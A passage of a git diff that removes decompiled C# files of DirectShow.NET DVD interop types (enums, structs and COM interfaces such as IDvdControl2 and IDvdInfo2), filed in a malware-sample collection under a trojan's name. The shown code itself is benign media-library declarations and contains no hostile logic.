--- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdRelButton.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdRelButton -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -namespace DShowNET.Dvd -{ - public enum DvdRelButton - { - Upper = 1, - Lower = 2, - Left = 3, - Right = 4, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdRenderStatus.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdRenderStatus.cs deleted file mode 100644 index 07fb8a7b..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdRenderStatus.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdRenderStatus -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct DvdRenderStatus - { - public int vpeStatus; - public bool volInvalid; - public bool volUnknown; - public bool noLine21In; - public bool noLine21Out; - public int numStreams; - public int numStreamsFailed; - public DvdStreamFlags failedStreams; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdStreamFlags.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdStreamFlags.cs deleted file mode 100644 index 04f68605..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdStreamFlags.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdStreamFlags -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; - -namespace DShowNET.Dvd -{ - [Flags] - public enum DvdStreamFlags - { - None = 0, - Video = 1, - Audio = 2, - SubPic = 4, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdSubPicAttr.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdSubPicAttr.cs deleted file mode 100644 index b8f1b7af..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdSubPicAttr.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdSubPicAttr -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct DvdSubPicAttr - { - public DvdSubPicType type; - public DvdSubPicCoding coding; - public int language; - public DvdSubPicLangExt languageExt; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdSubPicCoding.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdSubPicCoding.cs deleted file mode 100644 index 7eb0eed9..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdSubPicCoding.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdSubPicCoding -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -namespace DShowNET.Dvd -{ - public enum DvdSubPicCoding - { - RunLength, - Extended, - Other, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdSubPicLangExt.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdSubPicLangExt.cs deleted file mode 100644 index ea6bc172..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdSubPicLangExt.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdSubPicLangExt -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -namespace DShowNET.Dvd -{ - public enum DvdSubPicLangExt - { - NotSpecified = 0, - CaptionNormal = 1, - CaptionBig = 2, - CaptionChildren = 3, - ClosedNormal = 5, - ClosedBig = 6, - ClosedChildren = 7, - Forced = 9, - DirectorCmtNormal = 13, // 0x0000000D - DirectorCmtBig = 14, // 0x0000000E - DirectorCmtChildren = 15, // 0x0000000F - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdSubPicType.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdSubPicType.cs deleted file mode 100644 index 66b7f036..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdSubPicType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdSubPicType -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -namespace DShowNET.Dvd -{ - public enum DvdSubPicType - { - NotSpecified, - Language, - Other, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdTimeCode.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdTimeCode.cs deleted file mode 100644 index 6abeb736..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdTimeCode.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdTimeCode -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct DvdTimeCode - { - public byte bHours; - public byte bMinutes; - public byte bSeconds; - public byte bFrames; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdTitleAppMode.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdTitleAppMode.cs deleted file mode 100644 index 4401d8a1..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdTitleAppMode.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdTitleAppMode -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -namespace DShowNET.Dvd -{ - public enum DvdTitleAppMode - { - NotSpecified = 0, - Karaoke = 1, - Other = 3, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdTitleAttr.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdTitleAttr.cs deleted file mode 100644 index 6850c041..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdTitleAttr.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdTitleAttr -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct DvdTitleAttr - { - public DvdTitleAppMode appMode; - public DvdVideoAttr videoAt; - public int numberOfAudioStreams; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdVideoAttr.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdVideoAttr.cs deleted file mode 100644 index c9afe72b..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdVideoAttr.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdVideoAttr -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct DvdVideoAttr - { - public bool panscanPermitted; - public bool letterboxPermitted; - public int aspectX; - public int aspectY; - public int frameRate; - public int frameHeight; - public DvdVideoCompress compression; - public bool line21Field1InGOP; - public bool line21Field2InGOP; - public int sourceResolutionX; - public int sourceResolutionY; - public bool isSourceLetterboxed; - public bool isFilmMode; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdVideoCompress.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdVideoCompress.cs deleted file mode 100644 index 4b4f57d9..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdVideoCompress.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdVideoCompress -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -namespace DShowNET.Dvd -{ - public enum DvdVideoCompress - { - Other, - Mpeg1, - Mpeg2, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/IDvdCmd.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/IDvdCmd.cs deleted file mode 100644 index a8c8cd8a..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/IDvdCmd.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.IDvdCmd -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("5a4a97e4-94ee-4a55-9751-74b5643aa27d")] - [ComImport] - public interface IDvdCmd - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int WaitForStart(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int WaitForEnd(); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/IDvdControl2.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/IDvdControl2.cs deleted file mode 100644 index 4475d04a..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/IDvdControl2.cs +++ /dev/null @@ -1,152 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.IDvdControl2 -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [Guid("33BC7430-EEC0-11D2-8201-00A0C9D74842")] - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface IDvdControl2 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayTitle(int ulTitle, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayChapterInTitle(int ulTitle, int ulChapter, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayAtTimeInTitle( - int ulTitle, - [In] ref DvdTimeCode pStartTime, - DvdCmdFlags dwFlags, - [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Stop(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ReturnFromSubmenu(DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayAtTime([In] ref DvdTimeCode pTime, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayChapter(int ulChapter, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayPrevChapter(DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ReplayChapter(DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayNextChapter(DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayForwards(double dSpeed, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayBackwards(double dSpeed, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ShowMenu(DvdMenuID MenuID, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Resume(DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectRelativeButton(DvdRelButton buttonDir); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ActivateButton(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectButton(int ulButton); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectAndActivateButton(int ulButton); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int StillOff(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Pause([MarshalAs(UnmanagedType.Bool), In] bool bState); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectAudioStream(int ulAudio, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectSubpictureStream(int ulSubPicture, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetSubpictureState([MarshalAs(UnmanagedType.Bool), In] bool bState, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectAngle(int ulAngle, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectParentalLevel(int ulParentalLevel); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectParentalCountry(byte[] bCountry); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectKaraokeAudioPresentationMode(int ulMode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectVideoModePreference(int ulPreferredDisplayMode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetDVDDirectory([MarshalAs(UnmanagedType.LPWStr), In] string pszwPath); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ActivateAtPosition(DsPOINT point); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectAtPosition(DsPOINT point); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayChaptersAutoStop( - int ulTitle, - int ulChapter, - int ulChaptersToPlay, - DvdCmdFlags dwFlags, - [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int AcceptParentalLevelChange([MarshalAs(UnmanagedType.Bool), In] bool bAccept); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetOption(DvdOptionFlag flag, [MarshalAs(UnmanagedType.Bool), In] bool fState); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetState(IDvdState pState, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayPeriodInTitleAutoStop( - int ulTitle, - [In] ref DvdTimeCode pStartTime, - [In] ref DvdTimeCode pEndTime, - DvdCmdFlags dwFlags, - [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetGPRM(int ulIndex, short wValue, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectDefaultMenuLanguage(int Language); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectDefaultAudioLanguage(int Language, DvdAudioLangExt audioExtension); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectDefaultSubpictureLanguage(int Language, DvdSubPicLangExt subpictureExtension); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/IDvdGraphBuilder.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/IDvdGraphBuilder.cs deleted file mode 100644 index fa4ef0f4..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/IDvdGraphBuilder.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.IDvdGraphBuilder -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("FCC152B6-F372-11d0-8E00-00C04FD7C08B")] - [ComImport] - public interface IDvdGraphBuilder - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetFiltergraph(out IGraphBuilder ppGB); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDvdInterface([In] ref Guid riid, [MarshalAs(UnmanagedType.IUnknown)] out object ppvIF); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int RenderDvdVideoVolume( - [MarshalAs(UnmanagedType.LPWStr), In] string lpcwszPathName, - DvdGraphFlags dwFlags, - out DvdRenderStatus pStatus); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/IDvdInfo2.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/IDvdInfo2.cs deleted file mode 100644 index bd8ae963..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/IDvdInfo2.cs +++ /dev/null @@ -1,159 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.IDvdInfo2 -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [Guid("34151510-EEC0-11D2-8201-00A0C9D74842")] - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface IDvdInfo2 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentDomain(out DvdDomain pDomain); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentLocation(out DvdPlayLocation pLocation); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetTotalTitleTime(out DvdTimeCode pTotalTime, out int ulTimeCodeFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentButton(out int pulButtonsAvailable, out int pulCurrentButton); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentAngle(out int pulAnglesAvailable, out int pulCurrentAngle); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentAudio(out int pulStreamsAvailable, out int pulCurrentStream); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentSubpicture( - out int pulStreamsAvailable, - out int pulCurrentStream, - [MarshalAs(UnmanagedType.Bool)] out bool pbIsDisabled); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentUOPS(out int pulUOPs); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetAllSPRMs(out IntPtr pRegisterArray); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetAllGPRMs(out IntPtr pRegisterArray); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetAudioLanguage(int ulStream, out int pLanguage); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetSubpictureLanguage(int ulStream, out int pLanguage); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetTitleAttributes(int ulTitle, out DvdMenuAttr pMenu, IntPtr pTitle); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetVMGAttributes(out DvdMenuAttr pATR); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentVideoAttributes(out DvdVideoAttr pATR); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetAudioAttributes(int ulStream, out 